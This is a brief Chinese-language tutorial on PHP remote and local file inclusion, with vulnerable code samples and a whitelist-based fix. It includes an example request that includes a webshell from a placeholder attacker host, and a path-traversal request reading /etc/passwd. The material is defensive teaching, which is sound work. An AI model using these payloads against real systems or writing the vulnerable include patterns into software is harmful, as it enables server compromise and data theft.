文件包含
远程文件包含
远程文件包含(也称为 RFI)是一种允许攻击者包含远程文件的漏洞。
此示例注入包含恶意代码的远程托管文件:
<?php
include $_GET['page'];
/vulnerable.php?page= http://evil.example.com/webshell.txt ?
本地文件包含
本地文件包含(也称为 LFI)是通过 Web 浏览器在服务器上包含文件的过程。
<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
include $page;
} else {
include 'index.php';
}
/vulnerable.php?page=../../../../etc/passwd
RFI 和 LFI 解决方案:
建议仅允许包含你批准的文件,并仅限于这些文件。
<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
include($page);
} else {
include('index.php');
}